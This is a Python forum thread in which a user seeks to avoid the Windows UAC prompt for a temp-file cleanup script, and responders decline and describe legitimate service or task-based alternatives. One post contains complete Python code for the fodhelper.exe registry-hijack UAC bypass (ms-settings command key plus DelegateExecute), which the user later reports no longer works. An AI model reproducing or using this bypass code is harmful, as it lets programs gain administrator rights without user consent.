# Is there any code to not display the yes/no (UAC - User Account Control) message to run as adm?

**URL:** <https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549>\
**Category:** Python Help\
**Tags:** help\
**Created:** [May 5, 2023, 10:34pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549 "2023-05-05T22:34:16Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 10:34pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/1 "2023-05-05T22:34:16Z")

</div>

Is there any code to not display the yes/no message (UAC - User Account Control) to run as administrator? How could I do this without having to discover a windows vulnerability? This is very annoying. This is my code to try to adapt:

```auto
import pyuac
from pathlib import Path
import shutil

def main():
    print("Do stuff here that requires being run as an admin.")
    dir_path = Path('C:/Users/RIEIDI~2/AppData/Local/Temp')
    for file_path in dir_path.iterdir():
        try:
            if file_path.is_dir():
                shutil.rmtree(file_path)
            else:
                file_path.unlink()
        except OSError:
            print(f"Error deleting {file_path}")
    input("Press enter to close the window. >")

if __name__ == " __main__":
    if not pyuac.isUserAdmin():
        print("Re-launching as admin!")
        pyuac.runAsAdmin()
    else:
        main()

```

---

<div class="post-metadata">

**Author:** ![Rosuav](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rosuav/32/3429_2.png) [@Rosuav](https://discuss.python.org/u/Rosuav)\
**Post date:** [May 5, 2023, 10:39pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/2 "2023-05-05T22:39:22Z")

</div>

> [@Rieidi](#):
>
> Is there any code to not display the yes/no message (UAC - User Account Control) to run as administrator? How could I do this without having to discover a windows vulnerability? This is very annoying.

So basically, you want a way for your program to elevate its own privileges without the user’s consent, but without finding a vulnerability in Windows?

---

<div class="post-metadata">

**Author:** ![csm10495](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/csm10495/32/9731_2.png) [@csm10495](https://discuss.python.org/u/csm10495)\
**Post date:** [May 5, 2023, 10:56pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/3 "2023-05-05T22:56:43Z")

</div>

To further what was already said: If someone did find a way to do this without disabling UAC (which you could do manually if you wanted), it would be considered a vulnerability and point to a security issue with Windows… which I would hope someone would report to Microsoft instead of exploiting.

Why do you want to circumvent UAC?

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 11:02pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/4 "2023-05-05T23:02:54Z")

</div>

actually I’m the user and I don’t want to try to find a vulnerability in windows

---

<div class="post-metadata">

**Author:** ![csm10495](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/csm10495/32/9731_2.png) [@csm10495](https://discuss.python.org/u/csm10495)\
**Post date:** [May 5, 2023, 11:04pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/5 "2023-05-05T23:04:57Z")

</div>

For your own computer you can try something like: [How to Disable UAC in Windows 10](https://www.lifewire.com/disable-uac-in-windows-10-5113191)

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 11:05pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/6 "2023-05-05T23:05:31Z")

</div>

I was really wondering if there was a script that turned UAC off and after running the script turns it back on well i would do what i need like delete temporary folders measure the size and do other things more sure i would report it if it was a vulnerability

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 11:06pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/7 "2023-05-05T23:06:42Z")

</div>

teria algum scirpt que faz isso em python ele desabilita e depois liga ?

---

<div class="post-metadata">

**Author:** ![csm10495](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/csm10495/32/9731_2.png) [@csm10495](https://discuss.python.org/u/csm10495)\
**Post date:** [May 5, 2023, 11:13pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/8 "2023-05-05T23:13:29Z")

</div>

The problem is that if you could have a script that could disable UAC and turn it back on after, then a virus or other malicious application could do the same thing on a similar system, which would make it a vulnerability.

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 11:20pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/9 "2023-05-05T23:20:32Z")

</div>

I agree, but I don’t have that intention, and many python viruses that I’ve seen do this, disable UAC and change the entire registry, some of them

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 5, 2023, 11:44pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/10 "2023-05-05T23:44:10Z")

</div>

knowing that maybe someone doesn’t pass it on to me for security reasons I have one last question Would you really be able to do this with UAC enabled or do some script that disables and activates later?

---

<div class="post-metadata">

**Author:** ![eryksun](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/eryksun/32/697_2.png) [@eryksun](https://discuss.python.org/u/eryksun)\
**Post date:** [May 5, 2023, 11:48pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/11 "2023-05-05T23:48:59Z")

</div>

Once the process has elevated admin access, you have legitimate options to avoid having to get consent (or OTS credentials if the user isn’t an administrator) in future invocations of your script. You can create either a service or a task that the current user is allowed to start. Once started, the service or task can spawn your script elevated, or as SYSTEM if the user isn’t an administrator. But bypassing UAC from the outset would have to be based on an exploit, which Microsoft would eventually fix.

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 12:03am UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/14 "2023-05-06T00:03:33Z")

</div>

I understand. but it is for this reason that I would be trying to somehow avoid exploiting some vulnerabilities of windows since they will fix it Well now how antiviruses manage to run hidden as administrator without user permission and that is exactly what I try to do inside my system

---

<div class="post-metadata">

**Author:** ![csm10495](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/csm10495/32/9731_2.png) [@csm10495](https://discuss.python.org/u/csm10495)\
**Post date:** [May 6, 2023, 1:00am UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/15 "2023-05-06T01:00:52Z")

</div>

They do it by installing and setting up a service as admin. During the installer, UAC will prompt.

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 1:05am UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/16 "2023-05-06T01:05:19Z")

</div>

how could i do this? I found a code on the internet maybe it works

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 2:11am UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/18 "2023-05-06T02:11:04Z")

</div>

Found this about I will check tomorrow.[Bypassing Windows 10 UAC with Python | by Tom Melo | Medium](https://medium.com/@tommelo/bypassing-windows-10-uac-with-python-aed3c835c4f0)

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 4:50pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/19 "2023-05-06T16:50:14Z")

</div>

Do you think this code might work?:

```auto
import os
import sys
import ctypes
import winreg
from pathlib import Path
import shutil
import pyuac

CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def create_reg_key(key, value):
    '''
    Creates a reg key
    '''
    try:
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
        winreg.CloseKey(registry_key)
    except WindowsError:
        raise

def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)
    except WindowsError:
        raise

def main():
    print("Do stuff here that requires being run as an admin.")
    # Deletar arquivos temporários
    dir_path = Path('C:/Users/ravier/AppData/Local/Temp')
    for file_path in dir_path.iterdir():
        try:
            if file_path.is_dir():
                shutil.rmtree(file_path)
            else:
                file_path.unlink()
        except OSError:
            print(f"Error deleting {file_path}")
    input("Press enter to close the window. >")

def execute():
    if not is_running_as_admin():
        print('[!] The script is NOT running with administrative privileges')
        print('[+] Trying to bypass the UAC')
        try:
            current_dir = os.path.dirname(os.path.realpath( __file__ ))
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)
            os.system(FOD_HELPER)
            sys.exit(0)
        except WindowsError:
            sys.exit(1)
    else:
        print('[+] The script is running with administrative privileges!')
        main()

if __name__ == ' __main__':
    if not pyuac.isUserAdmin():
        print("Re-launching as admin!")
        pyuac.runAsAdmin()
    else:
        execute()

```

---

<div class="post-metadata">

**Author:** ![csm10495](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/csm10495/32/9731_2.png) [@csm10495](https://discuss.python.org/u/csm10495)\
**Post date:** [May 6, 2023, 5:07pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/20 "2023-05-06T17:07:52Z")

</div>

I’m sorry but I don’t feel comfortable assisting in circumventing UAC.

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 5:22pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/21 "2023-05-06T17:22:45Z")

</div>

okay, but I wanted to do the same as the antivirus if you run it as an administrator without telling the user

---

<div class="post-metadata">

**Author:** ![Rosuav](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rosuav/32/3429_2.png) [@Rosuav](https://discuss.python.org/u/Rosuav)\
**Post date:** [May 6, 2023, 9:01pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/22 "2023-05-06T21:01:54Z")

</div>

> [@Rieidi](#):
>
> Do you think this code might work?:

Have you tried it? Why do you think we would be better able to say whether it works than Windows itself is?

---

<div class="post-metadata">

**Author:** ![Rieidi](https://sea2.discourse-cdn.com/flex002/user_avatar/discuss.python.org/rieidi/32/16322_2.png) [@Rieidi](https://discuss.python.org/u/Rieidi)\
**Post date:** [May 6, 2023, 9:32pm UTC](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549/23 "2023-05-06T21:32:50Z")

</div>

unfortunately it doesn’t work anymore I said to see if there were any typos 🙂 I found out that I have to create and install the service with elevated permissions, it will run as administrator without requiring user interaction or showing UAC.

[Next page](https://discuss.python.org/t/is-there-any-code-to-not-display-the-yes-no-uac-user-account-control-message-to-run-as-adm/26549.md?page=2)
